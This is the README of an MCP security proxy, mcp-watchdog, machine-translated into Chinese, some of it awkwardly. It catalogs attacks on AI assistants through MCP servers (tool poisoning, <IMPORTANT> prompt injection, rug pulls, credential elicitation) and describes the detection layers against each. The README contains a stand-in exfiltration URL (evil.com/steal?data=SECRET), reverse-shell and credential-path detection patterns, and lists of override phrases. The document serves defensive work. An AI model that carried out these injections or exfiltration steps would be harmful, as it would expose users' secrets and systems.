使用说明
mcp监视器
MCP安全代理,位于AI编码助手和MCP服务器之间,检测并阻止所有已知的MCP攻击类。适用于macOS、Linux和Windows上的任何MCP服务器(工具、资源、提示)。
捕获 地毯拉力, 工具中毒, 工具阴影, 名字蹲下, 参数注入, 上海光源, 命令注入, SQL注入, 反向外壳, 供应链模拟, 令牌泄漏, OAuth困惑的副手, 会话走私, 上下文泄漏, 电子邮件头注入, 错误升级, 偏好操纵, ANSI逃逸注射, MCP寄生虫, 塔纳托斯 (全部4层), 沙虫模式-风格提示注射, 资源含量注入, 提示模板注入, 取样千斤顶,以及 采集激励凭证 --在任何信息到达你的人工智能助手之前。
为什么存在
MCP(模型上下文协议)服务器可以完全访问您的AI助手的上下文。恶意或受感染的服务器可以:
- 注入隐藏指令 转化为工具描述(
<IMPORTANT>阻止AI泄露凭据) - 默默地重新定义工具 初步批准后(Rug Pull攻击)
- 影子可信工具 通过在工具描述中注入跨服务器覆盖指令(Claude Desktop上的100%ASR)
- 蹲式工具名称 通过从不同服务器注册重复的工具名称
- 窃取系统提示和对话历史记录 通过参数注入(HiddenLayer攻击)
- 访问云元数据 通过URI参数通过SSRF(MCP fURI,36.7%的服务器易受攻击)
- 执行任意命令 通过工具参数中的shell元字符
- 注入SQL 通过SQLite/数据库MCP服务器的工具参数(趋势科技披露)
- 生成反向壳 到C2服务器(JFrog发现了3个具有相同反向shell有效载荷的PyPI+npm包)
- 假冒合法包裹 通过拼写错误(假冒邮戳MCP服务器-1643次下载)
- 泄漏API密钥和令牌 (GitHub PAT、AWS密钥、Slack令牌、JWT)在响应中
- 劫持OAuth流 通过格式错误的授权端点(CVE-2025-6514,437K+开发环境)
- 将消息注入会话 通过代理会话走私(A2A攻击)
- 密送BCC电子邮件 通过电子邮件头注入到攻击者地址(邮戳mcp事件)
- 触发权限升级 通过虚假的错误消息,旨在操纵人工智能授予更高的访问权限
- 操纵工具选择 通过描述中的说服性语言,偏向人工智能选择的工具
- 隐藏说明 通过ANSI转义序列和终端UI中不可见的双向文本覆盖
- 描述你的行为 通过收集提交时间戳、部署窗口和活动模式
- 对有效载荷进行隐写编码 在正常外观的JSON响应中
- 跨服务器传播 -服务器A的输出影响对服务器B的调用
- 跨会话坚持 通过将状态写入声明范围之外的项目文件
- 逃逸文件系统沙盒 通过符号链接攻击绕过路径限制
- 通过URL参数过滤数据 -嵌入的敏感令牌
https://evil.com/steal?data=SECRET - 毒药模式字段 -注入参数默认值、枚举和嵌套模式值(CyberArk FSP)
- 洪水审批请求 导致同意疲劳,然后采取破坏性行动
- 重播OAuth令牌 通过受众不匹配跨服务器(违反RFC 8707)
- 注入虚假通知 (
tools/list_changed)触发工具重新抓取地毯 - 毒物资源含量 —
resources/read响应可以包含针对AI模型的快速注射有效载荷 - 通过提示模板注入 —
prompts/get返回的消息是直接LLM注入向量 - 劫持采样请求 --恶意服务器使用
sampling/createMessage通过注入系统提示来控制LLM行为 - 通过启发获得证书 —
elicitation/create(MCP 2025-11-25)允许服务器向用户提供密码、API密钥和令牌 - 洪水资源更新通知 --快速
notifications/resources/updated事件触发对已中毒资源的重新读取
mcp监视器拦截所有JSON-RPC流量,并在任何数据到达您的AI模型之前应用多层检测。
它捕获了什么
| 攻击类别 | 检测层 | 规则 | 严重性 |
|---|---|---|---|
沙虫模式 <IMPORTANT> 注射 |
SMAC-L3 | SMAC-5 | 临界 |
| HTML注释注入 | SMAC-L3 | SMAC-1 | 高 |
| 零宽度unicode隐写术 | SMAC-L3 | SMAC-1 | 高 |
| ANSI逃逸序列注入 | SMAC-L3 | SMAC-1 | 高 |
| 双向文本覆盖(LRE/RLO/LRI) | SMAC-L3 | SMAC-1 | 高 |
| Markdown引用链接溢出 | SMAC-L3 | SMAC-2 | 高 |
| 凭证查找模式 | SMAC-L3 | SMAC-5 | 严重 |
| 令牌/秘密泄露(GitHub、AWS、Slack、JWT、OpenAI、Stripe、Discord、npm、PyPI、Supabase、Sendgrid、Twilio、Vault、Datadog、GCP、Azure、PEM密钥) | SMAC-L3 | SMAC-6 | 严重 |
字形 <IMPORTANT> 注射(希腊语Ι,西里尔语А) |
SMAC-L3 | SMAC-5 | 严重 |
HTML编码 <IMPORTANT> 注射 |
SMAC-L3 | SMAC-5 | 临界 |
角色注入标记([SYSTEM]:, [ADMIN]:, [ASSISTANT]:) |
SMAC-L3 | SMAC-5 | 严重 |
URL编码的零宽度字符(%E2%80%8B) |
SMAC-L3 | SMAC-1 | 高 |
双重编码的HTML实体(&#x200b;) |
SMAC-L3 | SMAC-1 | 高 |
双重编码路径遍历(..%252f) |
输入消毒器 | CMD-INJECT | 高 |
分割线标签规避(<IMPOR\nTANT>) |
SMAC-L3 | SMAC-5 | 严重 |
空间分割令牌规避(sk_ live_) |
SMAC-L3 | SMAC-6 | 严重 |
未标记密钥检测(secret_key:, private_key:) |
SMAC-L3 | SMAC-6 | 严重 |
| 通过URL参数(Stripe、npm、PyPI、Sendgrid、Vault、Datadog、Discord、Azure密钥)进行令牌渗透 | URL过滤器 | EXFIL | 关键 |
| Rug Pull(无声工具重新定义) | 工具注册表 | Rug-Pull | 严重 |
| 偷偷摸摸的工具添加(初始注册后的新工具) | 工具注册表 | RUG-PULL | 高 |
| 建立信任后删除工具 | 工具注册表 | RUG-PULL | 高 |
| 工具阴影(跨服务器desc污染) | 工具阴影 | 阴影 | 严重 |
| 工具名称隐藏(跨服务器的重复名称) | 工具阴影 | 阴影 | 严重 |
| 偏好操纵(偏置工具选择) | 工具阴影 | 阴影 | 高 |
| 描述中的跨服务器工具参考 | 工具阴影 | 阴影 | 高 |
参数注入(system_prompt, conversation_history) |
参数扫描仪 | 参数注入 | 严重 |
| 可疑参数模式 | 参数扫描器 | 参数注入 | 高 |
| 完全架构中毒(默认值、枚举、嵌套字段) | 参数扫描器 | 参数注入 | 严重 |
| SSRF到云元数据(AWS/GCP/Azure IMDS) | URL筛选器 | SSRF | 关键 |
| SSRF到本地主机/内部网络 | URL筛选器 | SSRF | 高 |
| 通过URL参数进行数据泄露(Slack CVE-2025-34072) | URL筛选器 | EXFIL | 严重 |
| URL参数中的Base64编码令牌泄漏 | URL筛选器 | EXFIL | 严重 |
| 外壳元字符注射 | 输入消毒剂 | CMD-INJECT | 严重 |
| 指令注入模式 | 输入消毒器 | CMD-INJECT | 严重 |
| 路径遍历攻击 | 输入清理器 | CMD-INJECT | 高 |
| SQL注入(UNION SELECT、DROP TABLE等) | 输入清理器 | SQL-INJECT | 严重 |
| 反向外壳模式(bash/dev/tcp、nc-e、mkfifo) | 输入消毒器 | Reverse-shell | 严重 |
| 电子邮件头注入(BCC泄漏) | 工具阴影 | 电子邮件注入 | 严重 |
| 电子邮件逗号注入(收件人/cc字段中有多个收件人) | 工具阴影 | 电子邮件注入 | 严重 |
| 错误升级(触发权限升级的错误) | 工具阴影 | escalation | 高 |
| 供应链打字 | 注册表检查器 | 供应链 | 关键 |
| 已知的恶意服务器模式 | 注册表检查器 | 供应链 | 严重 |
| OAuth授权端点注入(CVE-2025-6514) | OAuth防护 | OAuth | 严重 |
| 过多的OAuth作用域请求 | OAuth防护 | OAuth | 高 |
| 可疑的OAuth重定向URI | OAuth保护 | OAuth | 严重 |
| OAuth javascript:/data:/vbscript:重定向URI | OAuth保护 | OAuth | 严重 |
| 通过查询参数进行OAuth开放重定向 | OAuth防护 | OAuth | 严重 |
| 令牌受众不匹配/重放(RFC 8707) | OAuth保护 | 令牌重放 | 严重 |
| MCP采样利用(消息+系统提示注入) | 代理 | 采样 | 高 |
| 获取激励凭证(密码、令牌、api_key字段) | 代理 | 资格 | 关键 |
| 诱导消息注入 | 代理 | 筛选 | 关键 |
资源内容注入(resources/read 响应) |
代理 | CMD-INJECT | 严重 |
资源描述中毒(resources/list 响应) |
代理 | SMAC-5 | 严重 |
| 资源模板描述中毒 | 代理 | SMAC-5 | 严重 |
提示消息注入(prompts/get 响应) |
代理 | SMAC-5 | 严重 |
及时描述中毒(prompts/list 响应) |
代理 | SMAC-5 | 严重 |
| 提示参数模式注入 | 代理 | SMAC-5 | 严重 |
| 会话走私(孤立/注入响应) | 流跟踪器 | 会话 | 严重 |
| 跨服务器数据传播(JWT、UUID、API密钥) | 流跟踪器 | Cross-server | 高 |
| 服务器之间的上下文泄漏 | 代理 | 上下文泄漏 | 高 |
| 同意疲劳/批准泛滥 | 费率限制器 | 费率限制 | 高 |
| 突发洪水(速射工具调用) | 速率限制器 | 速率限制 | 临界 |
| 通知事件注入(工具/list_changed,资源/更新) | 速率限制器 | NOTIF-INJECT | 严重 |
| Windows命令注入(cmd.exe,powershell-enc) | 输入消毒器 | cmd-INJECT | 严重 |
| 行为指纹 | 行为监测 | DRIFT | 高 |
| 范围蔓延(凭证字段访问) | 行为监视器 | DRIFT | 严重 |
| 工具参数中的凭据路径访问 | 行为监视器 | 行为 | 关键 |
| 相变(突然的行为变化) | 行为监测 | 漂移 | 临界 |
| Base64有效载荷检测(嵌入式和独立式) | 熵分析仪 | 熵 | 中等 |
| 多base64段聚合 | 熵分析器 | 熵 | 中等 |
| 隐写C2有效载荷 | 熵分析器 | 熵 | 中等 |
| 工具响应中的隐藏指令 | 熵+语义 | 熵 | 高 |
| 结构异常(JSON深度异常) | 熵分析器 | 熵 | 低 |
| 范围外文件系统写入 | 范围执行器 | scope-L4 | 严重 |
| MCP配置文件修改 | 范围执行器 | Scope-L4 | 关键 |
| Symlink逃逸攻击 | 作用域执行器 | Scope-L4 | 严重 |
SMAC-L3合规性
mcp看门狗执行SMAC(结构化mcp审计控制)3级预处理标准:
- SMAC-1:条形HTML注释、零宽度unicode(原始、JSON转义、HTML实体、URL编码、双重编码)、ANSI转义序列和双向文本覆盖
- SMAC-2:删除用于数据泄露的markdown引用链接
- SMAC-4:使用内容哈希和时间戳记录所有违规行为
- SMAC-5:检测并剥离
<IMPORTANT>指令块(具有属性、未闭合标签、同源字形变体、HTML编码形式、分割行规避),[SYSTEM]/[ADMIN]/[ASSISTANT]角色注入(全线剥离)和凭证查找模式 - SMAC-6:使用空格分割规避规范化检测和编辑泄露的令牌/秘密(GitHub PAT、AWS密钥、Slack令牌、JWT、OpenAI密钥、Stripe密钥、Discord bot令牌、npm/PyPI令牌、Supabase、Sendgrid、Twilio、Vault、Datadog、Heroku、GCP服务帐户密钥、Azure连接字符串、PEM私钥、未标记的秘密密钥)
安装
git clone https://github.com/bountyyfi/mcp-watchdog.git
cd mcp-watchdog
pip install -e ".[dev]"
具有可选依赖关系:
pip install -e ".[all]" # Includes anthropic SDK + watchdog filesystem monitoring
pip install -e ".[semantic]" # Just the LLM semantic classifier
pip install -e ".[filesystem]" # Just filesystem monitoring
用法
用以下命令包装任何MCP服务器命令 mcp-watchdog --verbose --。原始服务器命令位于以下位置 --:
# Proxy mode — wrap an upstream MCP server:
mcp-watchdog --verbose -- npx -y @modelcontextprotocol/server-filesystem ~/projects
# Standalone scanner — pipe MCP messages through for testing:
echo '{"jsonrpc":"2.0","method":"tools/list"}' | mcp-watchdog
配置
将现有的MCP服务器条目替换为MCP-watchdog+原始命令作为args --.
克劳德桌面版
{
"mcpServers": {
"filesystem-watchdog": {
"command": "mcp-watchdog",
"args": ["--verbose", "--", "npx", "-y", "@modelcontextprotocol/server-filesystem", "/Users/you/projects"],
"env": {}
}
}
}
光标/风帆
相同的模式——见 configs/ IDE特定示例。
现场演示
实时查看每个探测层火灾:
python demo.py
该演示启动了一个真正的代理,包装了一个假的MCP服务器,通过它发送干净的流量和7种不同的攻击类型,并显示了捕获的内容和通过的内容。
检测层
第0层:SMAC-L3预处理
静态模式匹配应用于每个MCP响应-- tools/call, resources/read, prompts/get, prompts/list, resources/list,以及 resources/templates/list预规范化在模式匹配之前击败了分割线标签规避和空间分割令牌规避。条带注入模式(包括同形符号、HTML编码和角色注入变体)、零宽度字符(原始、JSON转义、HTML实体、URL编码、双重编码)、ANSI转义序列、双向文本覆盖、隐藏指令,并在30多个泄露的令牌/秘密模式到达AI模型之前对其进行编辑。
第1层:行为漂移检测
监控MCP服务器随时间变化的行为。在建立基线后检测范围蔓延、行为指纹和相变。
第二层:熵+语义分析
Shannon熵分析可以检测base64编码的有效载荷、类指令语言和结构异常。可选的LLM语义分类器(Claude Haiku)捕获统计正常但语义恶意的隐写有效载荷。
第3层:跨服务器流跟踪+会话完整性
跟踪令牌(JWT、UUID、带前缀的API密钥,如 ghp_*, sk-*, AKIA*)跨服务器检测跨服务器传播。监控请求/响应消息序列,以检测会话走私和注入的响应。
第4层:文件系统作用域强制
块写入 .git/config, .ssh/, .aws/,通过inotify/FSEvents监控MCP配置文件。解析符号链接以防止沙盒逃逸攻击。
第5层:工具完整性+阴影检测
在首次加载时对每个工具定义进行哈希处理。检测地毯拉取(无声重新定义)、工具删除和模式更改。扫描参数名称以查找泄漏系统提示和对话历史的注射模式。检测工具阴影(跨服务器描述污染)、名称占用(重复工具名称)和偏好操纵(有说服力的语言偏见工具选择)。
第六层:网络安全+防注入
SSRF保护阻止对云元数据端点(AWS IMDS、GCP、Azure)、本地主机和内部网络的请求。命令注入扫描程序捕获工具参数中的shell元字符和注入模式,包括Windows特定的向量(cmd.exe /c, powershell -enc, system32 外壳路径)。SQL注入扫描程序检测UNION SELECT、DROP TABLE和基于布尔值的注入。反向shell检测器捕获bash/dev/tcp、nc-e、mkfifo和Python套接字/子进程模式。
第7层:供应链+身份验证+电子邮件
通过Levenshtein距离对已知良好的服务器注册表进行拼写错误检测。OAuth流验证捕获了格式错误的授权端点(CVE-2025-6514)、过大的作用域和可疑的重定向。令牌受众验证可防止跨服务器的重放攻击(RFC 8707)。电子邮件头注入检测器捕获BCC渗透攻击(邮戳mcp风格)。
第8层:升级+响应完整性
错误升级检测器捕获虚假错误消息,这些错误消息旨在诱骗AI授予提升访问权限。对响应内容进行扫描,以查找操纵人工智能决策的“权限被拒绝,需要管理员访问”等模式。
第9层:速率限制+通知保护
同意疲劳保护监控每台服务器的工具调用频率。检测持续的洪水和突发模式,旨在降低用户的认可度。通知事件注入检测器快速捕获 notifications/tools/list_changed 和 notifications/resources/updated 用于触发地毯拉取重新获取和资源重新读取的事件。
第10层:MCP协议方法扫描(2025-11-25规范)
对所有MCP JSON-RPC方法进行方法感知扫描:
resources/read回应:对资源内容进行全面的SMAC+注入扫描(通过资源中毒及时注入)resources/list回应:扫描描述以查找隐藏指令resources/templates/list回应:模板描述扫描prompts/get回应:在提示模板中扫描消息内容以进行注入prompts/list回应:提示描述和参数架构扫描sampling/createMessage:深度扫描消息数组和systemPrompt用于注射/渗出(不仅仅是存在警报)elicitation/create(2025-11-25年新增):凭证收集检测——标记请求的模式password,token,api_key,secret,ssh_key等等。扫描消息文本以查找社会工程和SMAC注射initialize:服务器和客户端功能声明的能力跟踪
运行测试
# Full suite
pytest tests/ -v
# E2E only (starts real proxy subprocess)
pytest tests/test_e2e_proxy.py -v
# Unit/integration only
pytest tests/ -v --ignore=tests/test_e2e_proxy.py
跨单元、集成和端到端套件的273+个测试。
单元测试 单独测试每个检测模块。 集成测试 测试 MCPWatchdogProxy 跨多服务器序列的类。 端到端测试 将实际的代理二进制文件作为子进程启动,将其连接到假MCP服务器,并通过stdin/stdout推送真实的JSON-RPC流量。
建筑
AI Assistant <-> mcp-watchdog proxy <-> MCP Server(s)
|
|-- SMAC-L3 preprocessor (token redaction + ANSI stripping)
|-- Entropy analyzer
|-- Behavioral monitor
|-- Flow tracker + session integrity (JWTs, UUIDs, API keys)
|-- Tool registry (rug pull detection)
|-- Tool shadow detector (shadowing + squatting)
|-- Parameter scanner
|-- URL filter (SSRF)
|-- Input sanitizer (cmd + SQL + reverse shell + Windows)
|-- Registry checker (supply chain)
|-- OAuth guard (+ token replay detection)
|-- Rate limiter (consent fatigue + notification injection)
|-- Email injection detector
|-- Escalation detector
|-- Semantic classifier (optional)
|-- Scope enforcer (filesystem + symlink)
|-- MCP method scanner:
| resources/read, resources/list, prompts/get,
| prompts/list, sampling/createMessage,
| elicitation/create, initialize
+-- Capability tracker (server + client features)
mcp-watchdog是一个透明的JSON-RPC代理。它不会修改干净的响应,只会删除恶意内容并发出警报。
更新日志
0.1.9
- 刀具阴影硬化 --扩展覆盖/替换指令检测以捕获
disregard,substitute,supersede,don't use the other,以及use this instead of模式。CC字段现在与BCC一起检查电子邮件头注入。 - 电子邮件逗号注入检测 --检测通过逗号注入的多个收件人
to,cc,bcc,以及其他收件人字段(例如。victim@example.com, attacker@evil.com). - OAuth
javascript:/data:/vbscript:URI阻止 --使用危险方案的重定向URI现在已被捕获。通过查询参数打开重定向检测(redirect_url=,return_to=,next=等等)。 - 行为监视器凭据路径访问 --工具调用参数访问
.ssh/,.aws/,.env,id_rsa,credentials.json,.kube/config等现在触发关键警报。连接到代理请求管道(之前已导入但从未调用)。 - 熵分析器base64大修 --宽松的base64验证(允许填充,URL安全变体支持),基于正则表达式的块提取发现base64嵌入在较大的字符串中,当总数超过32个字符时,聚合并标记多个小的base64段。
- 注册表检查器扩展 --allowlist从12台扩展到55台已知的好服务器(官方+广泛使用的社区服务器)。添加了基于子环的模拟检测。未知服务器警报现在包括与编辑距离最近的已知良好匹配。
- Rug拉偷偷摸摸的工具添加 --初始后出现的新工具
tools/list注册现在标记为tool_added(之前只捕获了重新定义和删除)。 - URL过滤器base64 exfil检测 --URL查询参数中的base64编码令牌被解码,并与完整的exfil模式集进行核对。添加
sk-proj-,sk-ant-,rk_live_,rk_test_,xoxa-,xoxr-,sbp_,SharedAccessKey=模式。 - 273+次测试 (高于263+)。
0.1.7
- 分线标签规避防御 --预规范化会折叠其中的空白
<IMPORTANT>标签名称(<IMPOR\nTANT>,<I M P O R T A N T>)在模式匹配之前。 - 空间分割令牌规避防御 --折叠已知令牌前缀中的空格(
sk_ live_→sk_live_,npm_ xxx→npm_xxx)以防止规避正则表达式。 [SYSTEM]/[ADMIN]全线剥离 --角色注入标记现在会剥离整个注入指令,而不仅仅是[SYSTEM]:前缀。- Heroku标记的密钥检测 --渔获物
HEROKU_API_KEY=uuid和HEROKU_OAUTH_TOKEN=uuid不需要“heroku”上下文单词的模式。 - 未标记密钥检测 --渔获物
secret_key:,private_key:,secret_access_key=即使没有供应商特定的前缀,也有30+个字符值。 - Discord机器人令牌URL泄露 --将Discord机器人令牌模式添加到URL过滤器泄漏扫描程序中。
- 263+次测试 (高于253+)-10项新测试,涵盖所有规避技术修复。
0.1.6
- 26个安全审计漏洞修复 --所有检测层的全面硬化。
- SMAC-6扩展到30多种代币模式 --添加条纹(
sk_live_,sk_test_,rk_live_,rk_test_)PEM私钥(RSA、EC、DSA、OPENSSH)、Discord机器人令牌、npm(npm_),PyPI(pypi-)Supabase(sbp_),Sendgrid(SG.),提里奥(SK),HashiCorp保险库(hvs.,s.),数据狗(dd[ap]_)、Heroku UUID、GCP服务帐户密钥(private_key_id),以及Azure连接字符串(AccountKey=,SharedAccessKey=). - SMAC-5旁路硬化 --渔获物
<IMPORTANT>具有HTML属性、未闭合标签(到字符串末尾)、Unicode同形符号变体(希腊语ΙU+0399、西里尔语ІU+0.406)、HTML编码<IMPORTANT>标签,以及[SYSTEM]:/[ADMIN]:/[ASSISTANT]:角色注射标记。 - SMAC-1多重编码旁路修复 --条形码URL编码ZWSP(
%E2%80%8B,%E2%80%8C,%E2%80%8D),双重编码的HTML实体(&#x200b;,&#8203;),以及URL编码的双向覆盖(%E2%80%8E,%E2%80%8F). - 输入消毒剂改进 --双编码路径遍历检测(
..%252f,%2e%2e/),减少了CSS上的误报(color: red;)以及管道分隔数据(name|age|city)通过在命令上下文上门控shell元字符检测。 - URL过滤器泄漏扩展 --检测Stripe、npm、PyPI、Sendgrid、Vault、Datadog、Azure令牌和
api_key=/key=/credential=URL中的参数。 - 流缓冲区崩溃修复 —
sys.maxsizeStreamReader限制可防止大型MCP响应上的代理崩溃(之前在>64KB的消息上崩溃)。 - 253+次测试 (从208+个增加)-45个新测试,涵盖3个新/更新测试文件中的所有审计差距修复。(现在263+,添加了0.1.7。)
0.1.5
- MCP 2025-11-25协议覆盖范围 --方法感知扫描
resources/read,resources/list,resources/templates/list,prompts/get,prompts/list,sampling/createMessage(深度扫描),以及elicitation/create(凭证收集)。 - P0错误修复 --作用域执行器和语义分类器被实例化,但从未在代理管道中调用;符号链接逃逸检测是死代码(比较
resolve()自己)。 - 采集激励凭证 --检测
elicitation/create带有模式请求的请求password,token,api_key,secret,ssh_key,credit_card,ssn领域。 - 深度采样扫描 —
sampling/createMessage现在扫描整个消息数组systemPrompt用于SMAC注射,而不仅仅是在方法存在时发出警报。 - 跨平台Windows支持 --Windows命令注入检测(
cmd.exe /c,powershell -enc,system32 shell路径),作用域强制中的操作系统本机路径分隔符,Windows上不区分大小写的路径匹配,凭据路径正则表达式匹配两者/和\. - 流量跟踪器改进 -现在提取JWT、UUID和带前缀的API密钥(
ghp_*,sk-*,AKIA*)用于跨服务器传播检测。 - 通知保护已扩展 —
notifications/resources/updated添加到旁边的限速通知集list_changed类型。 - 已删除未使用的依赖项 —
websockets,fastapi,uvicorn已从安装要求中删除。 - 208+次测试 (从158个增加)——9个新测试文件中有50个新测试;所有测试都使用
tmp_path和Path.home()跨平台正确性。(现在253+,增加了0.1.6。)
0.1.3
- 修复SMAC损坏非文件系统服务器的问题 --SMAC正则表达式模式现在针对单个JSON字符串值运行,而不是原始的JSON格式,从而防止了结构字符的损坏(
{,},"等)的合法回应。这修复了与文件系统服务器之外的资源、提示和其他MCP服务器类型的兼容性。 - Windows支持 --基于线程的stdin阅读器取代
connect_read_pipe(在Windows上不可用ProactorEventLoop);信号处理程序现在取决于平台。
0.1.0
- SMAC-L3、行为漂移、熵分析、流跟踪、工具完整性、阴影检测、SSRF/注入预防、供应链检查、OAuth保护、速率限制和范围执行的初始版本。
许可证
麻省理工学院
学分
开源by Bountyy 公司.
研究参考文献:
- Bountyy Oy-SMAC:结构化MCP审计控制
- Bountyy Oy-Thanatos MCP攻击框架
- Bountyy Oy-项目存储器:MCP寄生虫PoC
- 不变性实验室-工具中毒和拉臀攻击
- HiddenLayer-参数注入
- BlueRock-MCP fURI SSRF
- 第42单元-MCP采样攻击
- OWASP MCP前10名
- Docker-MCP供应链恐怖故事
- 弹性安全实验室-MCP攻击向量
- 支柱安全-MCP风险
- 跳绳攻击
- Trail of Bits-mcp上下文保护器
- JFrog-恶意MCP PyPI反向外壳
- Snyk-npm上的恶意邮戳mcp
- Noma安全-MCP中的Unicode漏洞
- CoSAI-MCP安全白皮书
- MCPSecBench-安全基准测试
- MCP警卫-防御框架
- 打破协议-MCPSec
- CVE-2026-0755-Gemini MCP工具命令注入
- 不变实验室-WhatsApp MCP Exfiltering
